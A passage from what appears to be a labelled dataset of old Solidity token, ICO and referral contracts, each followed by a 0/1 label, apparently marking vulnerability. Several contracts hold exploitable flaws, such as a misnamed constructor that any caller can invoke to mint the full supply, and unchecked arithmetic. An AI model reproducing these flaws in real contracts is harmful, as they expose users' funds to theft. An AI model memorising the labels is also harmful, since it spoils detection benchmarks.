function availablePercent(address _to) internal constant returns (uint256) {
uint256 percent = 25;
percent += ((now - lockStartTime[_to]) / 90 days ) * 25;
if(percent > 100) {
percent = 100;
}
return percent;
}
function issueToken(address _to,uint256 _value) public onlyOwner {
require(super.transfer(_to,_value) == true);
require(lockStartTime[_to] == 0);
lockedBalance[_to] = lockedBalance[_to].add(_value);
lockStartTime[_to] = block.timestamp;
}
function available(address _to) public constant returns (uint256) {
uint256 percent = availablePercent(_to);
uint256 avail = lockedBalance[_to];
avail = avail.mul(percent);
avail = avail.div(100);
avail = avail.sub(usedBalance[_to]);
return avail ;
}
function totalAvailable(address _to) public constant returns (uint256){
uint256 avail1 = available(_to);
uint256 avail2 = balances[_to].add(usedBalance[_to]).sub(lockedBalance[_to]);
uint256 totalAvail = avail1.add(avail2);
return totalAvail;
}
function lockTransfer(address _to, uint256 _value) internal returns (bool) {
uint256 avail1 = available(msg.sender);
uint256 avail2 = balances[msg.sender].add(usedBalance[msg.sender]).sub(lockedBalance[msg.sender]);
uint256 totalAvail = avail1.add(avail2);
require(_value <= totalAvail);
bool ret = super.transfer(_to,_value);
if(ret == true) {
if(_value > avail2){
usedBalance[msg.sender] = usedBalance[msg.sender].add(_value).sub(avail2);
}
if(usedBalance[msg.sender] >= lockedBalance[msg.sender]) {
delete lockStartTime[msg.sender];
}
}
return ret;
}
function lockTransferFrom(address _from,address _to, uint256 _value) internal returns (bool) {
uint256 avail1 = available(_from);
uint256 avail2 = balances[_from].add(usedBalance[_from]).sub(lockedBalance[_from]);
uint256 totalAvail = avail1.add(avail2);
require(_value <= totalAvail);
bool ret = super.transferFrom(_from,_to,_value);
if(ret == true) {
if(_value > avail2){
usedBalance[_from] = usedBalance[_from].add(_value).sub(avail2);
}
if(usedBalance[_from] >= lockedBalance[_from]) {
delete lockStartTime[_from];
}
}
return ret;
}
}
contract PrototypeNetworkToken is Lock{
string public constant name = "Prototype Network";
string public constant symbol = "PROT";
uint public constant decimals = 18;
bool public transferEnabled = true;
modifier validDestination( address to ) {
require(to != address(0x0));
require(to != address(this) );
_;
}
function PrototypeNetworkToken() {
totalSupply = 2100000000 * (10 ** decimals);
balances[msg.sender] = totalSupply;
Transfer(address(0x0), msg.sender, totalSupply);
transferOwnership(msg.sender);
}
function transfer(address _to, uint _value) validDestination(_to) returns (bool) {
require(transferEnabled == true);
if(lockStartTime[msg.sender] > 0) {
return super.lockTransfer(_to,_value);
}else {
return super.transfer(_to, _value);
}
}
function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool) {
require(transferEnabled == true);
if(lockStartTime[_from] > 0) {
return super.lockTransferFrom(_from,_to,_value);
}else {
return super.transferFrom(_from, _to, _value);
}
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner {
token.transfer( owner, amount );
}
function setTransferEnable(bool enable) onlyOwner {
transferEnabled = enable;
}
} | 1 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract dragoncoin {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function dragoncoin(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract G12Coin is SafeMath {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public owner;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function G12Coin(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) public {
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
owner = msg.sender;
}
function transfer(address _to, uint256 _value) public {
if (_to == 0x0) revert();
if (_value <= 0) revert();
if (balanceOf[msg.sender] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
Transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (_to == 0x0) revert();
if (_value <= 0) revert();
if (balanceOf[_from] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
if (_value > allowance[_from][msg.sender]) revert();
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
} | 1 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner = msg.sender;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] += _value;
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event Burn(address indexed burner, uint value);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply += _amount;
balances[_to] += _amount;
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function burn(address _addr, uint _amount) onlyOwner public {
require(_amount > 0 && balances[_addr] >= _amount && totalSupply >= _amount);
balances[_addr] -= _amount;
totalSupply -= _amount;
Burn(_addr, _amount);
Transfer(_addr, address(0), _amount);
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract WealthBuilderToken is MintableToken {
string public name = "Wealth Builder Token";
string public symbol = "WBT";
uint32 public decimals = 18;
uint public rate = 10**7;
uint public mrate = 10**7;
function setRate(uint _rate) onlyOwner public {
rate = _rate;
}
}
contract Data is Ownable {
mapping (address => address) private parent;
mapping (address => uint8) public statuses;
mapping (address => uint) public referralDeposits;
mapping(address => uint256) private balances;
mapping(address => uint256) private investorBalances;
function parentOf(address _addr) public constant returns (address) {
return parent[_addr];
}
function balanceOf(address _addr) public constant returns (uint256) {
return balances[_addr] / 1000000;
}
function investorBalanceOf(address _addr) public constant returns (uint256) {
return investorBalances[_addr] / 1000000;
}
function Data() public {
statuses[msg.sender] = 7;
}
function addBalance(address _addr, uint256 amount) onlyOwner public {
balances[_addr] += amount;
}
function subtrBalance(address _addr, uint256 amount) onlyOwner public {
require(balances[_addr] >= amount);
balances[_addr] -= amount;
}
function addInvestorBalance(address _addr, uint256 amount) onlyOwner public {
investorBalances[_addr] += amount;
}
function subtrInvestorBalance(address _addr, uint256 amount) onlyOwner public {
require(investorBalances[_addr] >= amount);
investorBalances[_addr] -= amount;
}
function addReferralDeposit(address _addr, uint256 amount) onlyOwner public {
referralDeposits[_addr] += amount;
}
function setStatus(address _addr, uint8 _status) onlyOwner public {
statuses[_addr] = _status;
}
function setParent(address _addr, address _parent) onlyOwner public {
parent[_addr] = _parent;
}
}
contract Declaration {
mapping (uint => uint8) statusThreshold;
mapping (uint8 => mapping (uint8 => uint)) feeDistribution;
uint[8] thresholds = [
0, 5000, 35000, 150000, 500000, 2500000, 5000000, 10000000
];
uint[5] referralFees = [50, 30, 20, 10, 5];
uint[5] serviceFees = [25, 20, 15, 10, 5];
function Declaration() public {
setFeeDistributionsAndStatusThresholds();
}
function setFeeDistributionsAndStatusThresholds() private {
setFeeDistributionAndStatusThreshold(0, [12, 8, 5, 2, 1], thresholds[0]);
setFeeDistributionAndStatusThreshold(1, [16, 10, 6, 3, 2], thresholds[1]);
setFeeDistributionAndStatusThreshold(2, [20, 12, 8, 4, 2], thresholds[2]);
setFeeDistributionAndStatusThreshold(3, [25, 15, 10, 5, 3], thresholds[3]);
setFeeDistributionAndStatusThreshold(4, [30, 18, 12, 6, 3], thresholds[4]);
setFeeDistributionAndStatusThreshold(5, [35, 21, 14, 7, 4], thresholds[5]);
setFeeDistributionAndStatusThreshold(6, [40, 24, 16, 8, 4], thresholds[6]);
setFeeDistributionAndStatusThreshold(7, [50, 30, 20, 10, 5], thresholds[7]);
}
function setFeeDistributionAndStatusThreshold(
uint8 _st,
uint8[5] _percentages,
uint _threshold
)
private
{
statusThreshold[_threshold] = _st;
for (uint8 i = 0; i < _percentages.length; i++) {
feeDistribution[_st][i] = _percentages[i];
}
}
}
contract Investors is Ownable {
address[] public investors;
mapping (address => uint) public investorPercentages;
function addInvestors(address[] _investors, uint[] _investorPercentages) onlyOwner public {
for (uint i = 0; i < _investors.length; i++) {
investors.push(_investors[i]);
investorPercentages[_investors[i]] = _investorPercentages[i];
}
}
function getInvestorsCount() public constant returns (uint) {
return investors.length;
}
function getInvestorsFee() public constant returns (uint8) {
if (now >= 1577836800) {
return 1;
}
if (now >= 1546300800) {
return 5;
}
return 10;
}
}
contract Referral is Declaration, Ownable {
using SafeMath for uint;
WealthBuilderToken private token;
Data private data;
Investors private investors;
uint public investorsBalance;
uint public ethUsdRate;
function Referral(uint _ethUsdRate, address _token, address _data, address _investors) public {
ethUsdRate = _ethUsdRate;
token = WealthBuilderToken(_token);
data = Data(_data);
investors = Investors(_investors);
investorsBalance = 0;
}
function() payable public {
}
function invest(address client, uint8 depositsCount) payable public {
uint amount = msg.value;
if (depositsCount < 5) {
uint serviceFee;
uint investorsFee = 0;
if (depositsCount == 0) {
uint8 investorsFeePercentage = investors.getInvestorsFee();
serviceFee = amount * (serviceFees[depositsCount].sub(investorsFeePercentage));
investorsFee = amount * investorsFeePercentage;
investorsBalance += investorsFee;
} else {
serviceFee = amount * serviceFees[depositsCount];
}
uint referralFee = amount * referralFees[depositsCount];
distribute(data.parentOf(client), 0, depositsCount, amount);
uint active = (amount * 100)
.sub(referralFee)
.sub(serviceFee)
.sub(investorsFee);
token.mint(client, active / 100 * token.rate() / token.mrate());
data.addBalance(owner, serviceFee * 10000);
} else {
token.mint(client, amount * token.rate() / token.mrate());
}
}
function distribute(
address _node,
uint _prevPercentage,
uint8 _depositsCount,
uint _amount
)
private
{
address node = _node;
uint prevPercentage = _prevPercentage;
while(node != address(0)) {
uint8 status = data.statuses(node);
uint nodePercentage = feeDistribution[status][_depositsCount];
uint percentage = nodePercentage.sub(prevPercentage);
data.addBalance(node, _amount * percentage * 10000);
data.addReferralDeposit(node, _amount * ethUsdRate / 10**18);
updateStatus(node, status);
node = data.parentOf(node);
prevPercentage = nodePercentage;
}
}
function updateStatus(address _node, uint8 _status) private {
uint refDep = data.referralDeposits(_node);
for (uint i = thresholds.length - 1; i > _status; i--) {
uint threshold = thresholds[i] * 100;
if (refDep >= threshold) {
data.setStatus(_node, statusThreshold[threshold]);
break;
}
}
}
function distributeInvestorsFee(uint start, uint end) onlyOwner public {
for (uint i = start; i < end; i++) {
address investor = investors.investors(i);
uint investorPercentage = investors.investorPercentages(investor);
data.addInvestorBalance(investor, investorsBalance * investorPercentage);
}
if (end == investors.getInvestorsCount()) {
investorsBalance = 0;
}
}
function setRate(uint _rate) onlyOwner public {
token.setRate(_rate);
}
function setEthUsdRate(uint _ethUsdRate) onlyOwner public {
ethUsdRate = _ethUsdRate;
}
function invite(
address _inviter,
address _invitee
)
public onlyOwner
{
data.setParent(_invitee, _inviter);
data.setStatus(_invitee, 0);
}
function setStatus(address _addr, uint8 _status) public onlyOwner {
data.setStatus(_addr, _status);
}
function setInvestors(address _addr) public onlyOwner {
investors = Investors(_addr);
}
function withdraw(address _addr, uint256 _amount, bool investor) public onlyOwner {
uint amount = investor ? data.investorBalanceOf(_addr)
: data.balanceOf(_addr);
require(amount >= _amount && this.balance >= _amount);
if (investor) {
data.subtrInvestorBalance(_addr, _amount * 1000000);
} else {
data.subtrBalance(_addr, _amount * 1000000);
}
_addr.transfer(_amount);
}
function withdrawOwner(address _addr, uint256 _amount) public onlyOwner {
require(this.balance >= _amount);
_addr.transfer(_amount);
}
function withdrawToken(address _addr, uint256 _amount) onlyOwner public {
token.burn(_addr, _amount);
uint256 etherValue = _amount * token.mrate() / token.rate();
_addr.transfer(etherValue);
}
function transferTokenOwnership(address _addr) onlyOwner public {
token.transferOwnership(_addr);
}
function transferDataOwnership(address _addr) onlyOwner public {
data.transferOwnership(_addr);
}
}
contract PChannel is Ownable {
Referral private refProgram;
uint private depositAmount = 50000;
uint private maxDepositAmount =62500;
mapping (address => uint8) private deposits;
function PChannel(address _refProgram) public {
refProgram = Referral(_refProgram);
}
function() payable public {
uint8 depositsCount = deposits[msg.sender];
if (depositsCount == 15) {
depositsCount = 0;
deposits[msg.sender] = 0;
}
uint amount = msg.value;
uint usdAmount = amount * refProgram.ethUsdRate() / 10**18;
require(usdAmount >= depositAmount && usdAmount <= maxDepositAmount);
refProgram.invest.value(amount)(msg.sender, depositsCount);
deposits[msg.sender]++;
}
function setRefProgram(address _addr) public onlyOwner {
refProgram = Referral(_addr);
}
} | 0 |
pragma solidity ^0.4.18;
contract AbstractToken {
function totalSupply() public constant returns (uint256) {}
function balanceOf(address owner) public constant returns (uint256 balance);
function transfer(address to, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
function allowance(address owner, address spender) public constant returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Issuance(address indexed to, uint256 value);
}
contract SafeMath {
function mul(uint256 a, uint256 b) constant internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) constant internal returns (uint256) {
assert(b != 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) constant internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) constant internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mulByFraction(uint256 number, uint256 numerator, uint256 denominator) internal returns (uint256) {
return div(mul(number, numerator), denominator);
}
}
contract PreIco is SafeMath {
string public constant name = "Remechain Presale Token";
string public constant symbol = "RMC";
uint public constant decimals = 18;
address public manager;
address public reserveManager;
address public escrow;
address public reserveEscrow;
uint constant BASE = 1000000000000000000;
uint public tokensSupplied = 0;
uint public bountySupplied = 0;
uint public constant SOFT_CAPACITY = 166666 * BASE;
uint public constant TOKENS_SUPPLY = 600000 * BASE;
uint public constant BOUNTY_SUPPLY = 350000 * BASE;
uint public constant totalSupply = TOKENS_SUPPLY + BOUNTY_SUPPLY;
uint public constant TOKEN_PRICE = 3000000000000000;
uint tokenAmount1 = 200000 * BASE;
uint tokenAmount2 = 200000 * BASE;
uint tokenAmount3 = 200000 * BASE;
uint tokenPriceMultiply1 = 1;
uint tokenPriceDivide1 = 1;
uint tokenPriceMultiply2 = 1041667;
uint tokenPriceDivide2 = 1000000;
uint tokenPriceMultiply3 = 1083333;
uint tokenPriceDivide3 = 1000000;
uint[] public tokenPriceMultiplies;
uint[] public tokenPriceDivides;
uint[] public tokenAmounts;
mapping(address => uint) public ethBalances;
uint[] public prices;
uint[] public amounts;
mapping(address => uint) private balances;
uint public constant defaultDeadline = 1515679200;
uint public deadline = defaultDeadline;
bool public isIcoStopped = false;
address[] public allowedTokens;
mapping(address => uint) public tokenAmount;
mapping(address => uint) public tokenPrice;
address[] public usersList;
mapping(address => bool) isUserInList;
uint numberOfUsersReturned = 0;
mapping(address => address[]) public userTokens;
mapping(address => mapping(address => uint)) public userTokensValues;
event BuyTokens(address indexed _user, uint _ethValue, uint _boughtTokens);
event BuyTokensWithTokens(address indexed _user, address indexed _token, uint _tokenValue, uint _boughtTokens);
event GiveReward(address indexed _to, uint _value);
event IcoStoppedManually();
event IcoRunnedManually();
event WithdrawEther(address indexed _escrow, uint _ethValue);
event WithdrawToken(address indexed _escrow, address indexed _token, uint _value);
event ReturnEthersFor(address indexed _user, uint _value);
event ReturnTokensFor(address indexed _user, address indexed _token, uint _value);
event AddToken(address indexed _token, uint _amount, uint _price);
event RemoveToken(address indexed _token);
event MoveTokens(address indexed _from, address indexed _to, uint _value);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
modifier onlyManager {
assert(msg.sender == manager || msg.sender == reserveManager);
_;
}
modifier onlyManagerOrContract {
assert(msg.sender == manager || msg.sender == reserveManager || msg.sender == address(this));
_;
}
modifier IcoIsActive {
assert(isIcoActive());
_;
}
function PreIco(address _manager, address _reserveManager, address _escrow, address _reserveEscrow, uint _deadline) public {
assert(_manager != 0x0);
assert(_reserveManager != 0x0);
assert(_escrow != 0x0);
assert(_reserveEscrow != 0x0);
manager = _manager;
reserveManager = _reserveManager;
escrow = _escrow;
reserveEscrow = _reserveEscrow;
if (_deadline != 0) {
deadline = _deadline;
}
tokenPriceMultiplies.push(tokenPriceMultiply1);
tokenPriceMultiplies.push(tokenPriceMultiply2);
tokenPriceMultiplies.push(tokenPriceMultiply3);
tokenPriceDivides.push(tokenPriceDivide1);
tokenPriceDivides.push(tokenPriceDivide2);
tokenPriceDivides.push(tokenPriceDivide3);
tokenAmounts.push(tokenAmount1);
tokenAmounts.push(tokenAmount2);
tokenAmounts.push(tokenAmount3);
}
function balanceOf(address _user) public returns(uint balance) {
return balances[_user];
}
function isIcoActive() public returns(bool isActive) {
return !isIcoStopped && now < deadline;
}
function isIcoSuccessful() public returns(bool isSuccessful) {
return tokensSupplied >= SOFT_CAPACITY;
}
function getTokensAmount(uint _amountOfToken, uint _priceAmountOfToken, uint _value) private returns(uint tokensToBuy) {
uint currentStep;
uint tokensRemoved = tokensSupplied;
for (currentStep = 0; currentStep < tokenAmounts.length; currentStep++) {
if (tokensRemoved >= tokenAmounts[currentStep]) {
tokensRemoved -= tokenAmounts[currentStep];
} else {
break;
}
}
assert(currentStep < tokenAmounts.length);
uint result = 0;
for (; currentStep <= tokenAmounts.length; currentStep++) {
assert(currentStep < tokenAmounts.length);
uint tokenOnStepLeft = tokenAmounts[currentStep] - tokensRemoved;
tokensRemoved = 0;
uint howManyTokensCanBuy = _value
* _amountOfToken / _priceAmountOfToken
* tokenPriceDivides[currentStep] / tokenPriceMultiplies[currentStep];
if (howManyTokensCanBuy > tokenOnStepLeft) {
result = add(result, tokenOnStepLeft);
uint spent = tokenOnStepLeft
* _priceAmountOfToken / _amountOfToken
* tokenPriceMultiplies[currentStep] / tokenPriceDivides[currentStep];
if (_value <= spent) {
break;
}
_value -= spent;
tokensRemoved = 0;
} else {
result = add(result, howManyTokensCanBuy);
break;
}
}
return result;
}
function getTokensAmountWithEth(uint _value) private returns(uint tokensToBuy) {
return getTokensAmount(BASE, TOKEN_PRICE, _value);
}
function getTokensAmountByTokens(address _token, uint _tokenValue) private returns(uint tokensToBuy) {
assert(tokenPrice[_token] > 0);
return getTokensAmount(tokenPrice[_token], tokenAmount[_token], _tokenValue);
}
function buyTokens(address _user, uint _value) private IcoIsActive {
uint boughtTokens = getTokensAmountWithEth(_value);
burnTokens(boughtTokens);
balances[_user] = add(balances[_user], boughtTokens);
addUserToList(_user);
BuyTokens(_user, _value, boughtTokens);
}
function addToken(address _token, uint _amount, uint _price) onlyManager public {
assert(_token != 0x0);
assert(_amount > 0);
assert(_price > 0);
bool isNewToken = true;
for (uint i = 0; i < allowedTokens.length; i++) {
if (allowedTokens[i] == _token) {
isNewToken = false;
break;
}
}
if (isNewToken) {
allowedTokens.push(_token);
}
tokenPrice[_token] = _price;
tokenAmount[_token] = _amount;
}
function removeToken(address _token) onlyManager public {
for (uint i = 0; i < allowedTokens.length; i++) {
if (_token == allowedTokens[i]) {
if (i < allowedTokens.length - 1) {
allowedTokens[i] = allowedTokens[allowedTokens.length - 1];
}
allowedTokens[allowedTokens.length - 1] = 0x0;
allowedTokens.length--;
break;
}
}
tokenPrice[_token] = 0;
tokenAmount[_token] = 0;
}
function addUserToList(address _user) private {
if (!isUserInList[_user]) {
isUserInList[_user] = true;
usersList.push(_user);
}
}
function burnTokens(uint _amount) private {
assert(add(tokensSupplied, _amount) <= TOKENS_SUPPLY);
tokensSupplied = add(tokensSupplied, _amount);
}
function buyWithTokens(address _token) public {
buyWithTokensBy(msg.sender, _token);
}
function buyWithTokensBy(address _user, address _token) public IcoIsActive {
assert(tokenPrice[_token] > 0);
AbstractToken token = AbstractToken(_token);
uint tokensToSend = token.allowance(_user, address(this));
assert(tokensToSend > 0);
uint boughtTokens = getTokensAmountByTokens(_token, tokensToSend);
burnTokens(boughtTokens);
balances[_user] = add(balances[_user], boughtTokens);
uint prevBalance = token.balanceOf(address(this));
assert(token.transferFrom(_user, address(this), tokensToSend));
assert(token.balanceOf(address(this)) - prevBalance == tokensToSend);
userTokensValues[_user][_token] = add(userTokensValues[_user][_token], tokensToSend);
addTokenToUser(_user, _token);
addUserToList(_user);
BuyTokensWithTokens(_user, _token, tokensToSend, boughtTokens);
}
function addTokensToReturn(address _user, address _token, uint _tokenValue, bool _buyTokens) public onlyManager {
assert(tokenPrice[_token] > 0);
if (_buyTokens) {
uint boughtTokens = getTokensAmountByTokens(_token, _tokenValue);
burnTokens(boughtTokens);
balances[_user] = add(balances[_user], boughtTokens);
BuyTokensWithTokens(_user, _token, _tokenValue, boughtTokens);
}
userTokensValues[_user][_token] = add(userTokensValues[_user][_token], _tokenValue);
addTokenToUser(_user, _token);
addUserToList(_user);
}
function addTokenToUser(address _user, address _token) private {
for (uint i = 0; i < userTokens[_user].length; i++) {
if (userTokens[_user][i] == _token) {
return;
}
}
userTokens[_user].push(_token);
}
function returnFunds() public {
assert(!isIcoSuccessful() && !isIcoActive());
returnFundsFor(msg.sender);
}
function moveIcoTokens(address _from, address _to, uint _value) public onlyManager {
balances[_from] = sub(balances[_from], _value);
balances[_to] = add(balances[_to], _value);
MoveTokens(_from, _to, _value);
}
function returnFundsFor(address _user) public onlyManagerOrContract returns(bool) {
if (ethBalances[_user] > 0) {
if (_user.send(ethBalances[_user])) {
ReturnEthersFor(_user, ethBalances[_user]);
ethBalances[_user] = 0;
}
}
for (uint i = 0; i < userTokens[_user].length; i++) {
address tokenAddress = userTokens[_user][i];
uint userTokenValue = userTokensValues[_user][tokenAddress];
if (userTokenValue > 0) {
AbstractToken token = AbstractToken(tokenAddress);
if (token.transfer(_user, userTokenValue)) {
ReturnTokensFor(_user, tokenAddress, userTokenValue);
userTokensValues[_user][tokenAddress] = 0;
}
}
}
balances[_user] = 0;
}
function returnFundsForMultiple(address[] _users) public onlyManager {
for (uint i = 0; i < _users.length; i++) {
returnFundsFor(_users[i]);
}
}
function returnFundsForAll() public onlyManager {
assert(!isIcoActive() && !isIcoSuccessful());
uint first = numberOfUsersReturned;
uint last = (first + 50 < usersList.length) ? first + 50 : usersList.length;
for (uint i = first; i < last; i++) {
returnFundsFor(usersList[i]);
}
numberOfUsersReturned = last;
}
function withdrawEtherTo(address _escrow) private {
assert(isIcoSuccessful());
if (this.balance > 0) {
if (_escrow.send(this.balance)) {
WithdrawEther(_escrow, this.balance);
}
}
for (uint i = 0; i < allowedTokens.length; i++) {
AbstractToken token = AbstractToken(allowedTokens[i]);
uint tokenBalance = token.balanceOf(address(this));
if (tokenBalance > 0) {
if (token.transfer(_escrow, tokenBalance)) {
WithdrawToken(_escrow, address(token), tokenBalance);
}
}
}
}
function withdrawEther() public onlyManager {
withdrawEtherTo(escrow);
}
function withdrawEtherToReserveEscrow() public onlyManager {
withdrawEtherTo(reserveEscrow);
}
function runIco() public onlyManager {
assert(isIcoStopped);
isIcoStopped = false;
IcoRunnedManually();
}
function stopIco() public onlyManager {
isIcoStopped = true;
IcoStoppedManually();
}
function () public payable {
buyTokens(msg.sender, msg.value);
}
function giveReward(address _to, uint _amount) public onlyManager {
assert(_to != 0x0);
assert(_amount > 0);
assert(add(bountySupplied, _amount) <= BOUNTY_SUPPLY);
bountySupplied = add(bountySupplied, _amount);
balances[_to] = add(balances[_to], _amount);
GiveReward(_to, _amount);
}
function transfer(address _to, uint _value) public returns (bool success) {
return false;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
return false;
}
function approve(address _spender, uint _value) public returns (bool success) {
return false;
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return 0;
}
} | 0 |
pragma solidity ^0.4.21 ;
contract RUSS_PFVI_III_883 {
mapping (address => uint256) public balanceOf;
string public name = " RUSS_PFVI_III_883 " ;
string public symbol = " RUSS_PFVI_III_IMTD " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1055519864651380000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
